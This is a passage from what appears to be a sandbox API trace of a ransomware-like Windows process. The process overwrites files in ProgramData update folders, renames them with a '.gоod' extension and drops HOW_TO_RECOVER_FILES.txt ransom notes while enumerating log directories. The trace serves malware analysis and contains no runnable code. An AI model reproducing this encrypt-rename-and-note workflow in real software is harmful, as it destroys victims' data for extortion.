lpBuffer=0x35e6c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x35e6c28*, lpNumberOfBytesRead=0x1f59dd38*=0x1a, lpOverlapped=0x0) returned 1 [0108.601] CloseHandle (hObject=0x20c) returned 1 [0109.339] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", lpFilePart=0x0) returned 0x38 [0109.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0109.339] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0109.340] GetFileType (hFile=0x6e4) returned 0x1 [0109.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0109.340] GetFileType (hFile=0x6e4) returned 0x1 [0109.340] WriteFile (in: hFile=0x6e4, lpBuffer=0x3466c18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3466c18*, lpNumberOfBytesWritten=0x1f59dc48*=0x20, lpOverlapped=0x0) returned 1 [0109.341] CloseHandle (hObject=0x6e4) returned 1 [0109.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", lpFilePart=0x0) returned 0x38 [0109.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.gоod", lpFilePart=0x0) returned 0x3d [0109.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0109.341] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x3d62f299, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0109.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0109.341] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), lpNewFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.gоod" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml.gоod")) returned 1 [0109.342] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", lpFilePart=0x0) returned 0x59 [0109.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0109.342] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), fInfoLevelId=0x0, lpFileInformation=0x3467e60 | out: lpFileInformation=0x3467e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x206d7cb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x208edd4c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc3c)) returned 1 [0109.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0109.342] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", lpFilePart=0x0) returned 0x59 [0109.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0109.342] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0109.342] GetFileType (hFile=0x6e4) returned 0x1 [0109.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0109.342] GetFileType (hFile=0x6e4) returned 0x1 [0109.342] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xc3c [0109.342] ReadFile (in: hFile=0x6e4, lpBuffer=0x3468e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3468e28*, lpNumberOfBytesRead=0x1f59dd38*=0xc3c, lpOverlapped=0x0) returned 1 [0109.342] CloseHandle (hObject=0x6e4) returned 1 [0109.376] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", lpFilePart=0x0) returned 0x59 [0109.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0109.376] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0109.380] GetFileType (hFile=0x6e4) returned 0x1 [0109.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0109.380] GetFileType (hFile=0x6e4) returned 0x1 [0109.520] WriteFile (in: hFile=0x6e4, lpBuffer=0x32f68f8*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x32f68f8*, lpNumberOfBytesWritten=0x1f59dc48*=0xc40, lpOverlapped=0x0) returned 1 [0109.521] CloseHandle (hObject=0x6e4) returned 1 [0109.521] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", lpFilePart=0x0) returned 0x59 [0109.521] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.gоod", lpFilePart=0x0) returned 0x5e [0109.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0109.522] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x206d7cb0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc40)) returned 1 [0109.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0109.522] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), lpNewFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.gоod" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.gоod")) returned 1 [0109.523] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\UpdateStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0109.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0109.523] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\usoprivate\\updatestore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0109.526] GetFileType (hFile=0x6e4) returned 0x1 [0109.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0109.526] GetFileType (hFile=0x6e4) returned 0x1 [0109.526] WriteFile (in: hFile=0x6e4, lpBuffer=0x32f9fb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x32f9fb0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0109.528] CloseHandle (hObject=0x6e4) returned 1 [0109.528] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOPrivate\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOPrivate\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0109.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0109.528] CreateFileW (lpFileName="C:\\ProgramData\\USOPrivate\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\usoprivate\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0109.528] GetFileType (hFile=0x6e4) returned 0x1 [0109.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0109.528] GetFileType (hFile=0x6e4) returned 0x1 [0109.529] WriteFile (in: hFile=0x6e4, lpBuffer=0x32fd7c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x32fd7c8*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0109.530] CloseHandle (hObject=0x6e4) returned 1 [0109.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0109.530] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOShared", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOShared", lpFilePart=0x0) returned 0x18 [0109.530] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOShared\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.531] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.531] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0109.531] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0109.531] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0109.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0109.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0109.531] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOShared", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOShared", lpFilePart=0x0) returned 0x18 [0109.531] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOShared\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.531] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.532] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0109.532] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.532] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0109.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0109.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0109.532] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\USOShared\\Logs", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\USOShared\\Logs", lpFilePart=0x0) returned 0x1d [0109.532] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOShared\\Logs\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.533] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x17f1e5d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x17f1e5d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.534] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x58d51fd9, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x597705f5, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.001.etl", cAlternateFileName="NOBE5B~1.ETL")) returned 1 [0109.534] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cf76e0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7cf76e0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x852e502, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUx.002.etl", cAlternateFileName="NOTIFI~2.ETL")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2d822f20, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2efd472c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.001.etl", cAlternateFileName="NO604C~1.ETL")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfe554d51, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0xfe782447, ftLastWriteTime.dwHighDateTime=0x1d3375a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.002.etl", cAlternateFileName="NO8BA4~1.ETL")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xfdf01be1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfdfc06a7, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.003.etl", cAlternateFileName="NO3670~1.ETL")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x59ae67c8, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.004.etl", cAlternateFileName="NO2FB3~1.ETL")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0xb50917ed, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.005.etl", cAlternateFileName="NO74F7~1.ETL")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x8728eea2, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.006.etl", cAlternateFileName="NOC92C~1.ETL")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xebc8ba4e, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.007.etl", cAlternateFileName="NOAEB3~1.ETL")) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe10d621a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.008.etl", cAlternateFileName="NO6494~1.ETL")) returned 1 [0109.536] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x2fc89ca0, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.009.etl", cAlternateFileName="NO492C~1.ETL")) returned 1 [0109.536] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd87b395e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.010.etl", cAlternateFileName="NO0EF1~1.ETL")) returned 1 [0109.536] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x2020, 